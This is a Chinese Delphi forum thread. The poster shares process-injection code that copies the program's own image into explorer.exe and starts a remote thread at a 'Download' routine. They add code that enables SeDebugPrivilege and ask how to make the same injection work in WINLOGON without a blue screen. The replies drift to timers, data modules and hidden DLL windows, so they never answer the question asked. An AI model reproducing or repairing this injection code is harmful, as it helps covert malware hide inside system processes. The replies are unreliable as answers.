请问如何解决注入WINLOGON出现蓝屏的问题 ( 积分: 100 )

  • 主题发起人 主题发起人 dico
  • 开始时间 开始时间
D

dico

Unregistered / Unconfirmed
GUEST, unregistred user!
var
hModule, hModule_News: Pointer;
Extent, Size, ThreadId: longword;
ProcessHandle, Pid: longword;
reg:TRegistry;
sysdir:array[0..50] of char;

begin
GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
//获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看

ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Pid); //打开进程

hModule := Pointer(GetModuleHandle(nil));
//这里得到的值为一个返回一个指针型变量,指向内容包括自身映像的基址和长度

Extent := PImageOptionalHeader(Pointer(integer(hModule) + PImageDosHeader(hModule)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
//得到内存映像的长度

VirtualFreeEx(ProcessHandle, hModule, 0, MEM_RELEASE);
//在Exp进程的内存范围内分配一个足够长度的内存

hModule_News := VirtualAllocEx(ProcessHandle, hModule, Extent, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//确定起始基址和内存映像基址的位置

WriteProcessMemory(ProcessHandle, hModule_News, hModule, Extent, Size);
//确定上面各项数据后,这里开始进行操作

CreateRemoteThread(ProcessHandle, nil, 0, @Download, hModule, 0, ThreadId);
//建立远程线程,至此注入过程完成

CloseHandle(ProcessHandle);
//关闭对像

{上面这段代码是插进程explorer.exe}
当然,这个代码是无法注入WINLOGON的,所以我加入了
procedure GetDebugPrivs;
var
hToken: THandle;
tkp: TTokenPrivileges;
retval: dword;
begin
If (OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken)) then
begin
LookupPrivilegeValue(nil, 'SeDebugPrivilege' , tkp.Privileges[0].Luid);
tkp.PrivilegeCount := 1;
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, False, tkp, 0, nil, retval);
end;
end;
进行提权.但是注入进去后,虽然注入成功了,但是注入进去后就出现WINLOGON非正常退出的情况,进而出现蓝屏.请问是什么原因呢?应该如何修改呢?请高手解答下
 
你可以放到TDatamodule
 
代码手工创建
 
TDatamodule请问在哪里啊?可以举个例介绍下吗?
代码手工创建是不是继承一个控件类,然后用的时候CREATE一下?
 
unit Unit3;

interface

uses
ExtCtrls;

type
TNewClass = class
private
procedure DoSomething;
procedure OnTimerEvent(Sender: TObject);
public

end;

implementation

{ TNewClass }

procedure TNewClass.DoSomething;
var
sTimer: TTimer;
begin
sTimer := TTimer.Create(nil);
try
sTimer.OnTimer := OnTimerEvent;
sTimer.Interval := 2000;
//.................
finally
sTimer.Free;
end;

end;

procedure TNewClass.OnTimerEvent(Sender: TObject);
begin
//..............
end;

end.
 
动态创建!
拖控件只是开发的入门;
面向对像才是真正的设计程序!
 
dll不是窗体,不会含有句柄,但可以将应用程序的句柄作为参数传给它,那它就有了句柄就可以接受windows的消息了,但在dll中也可以自己创建一个自己的窗体的~~使用 Classes.AllocateHWnd( )可以创建隐藏的窗体,这样就可以接受消息了~~
 
接受答案了!
 

Similar threads

后退
顶部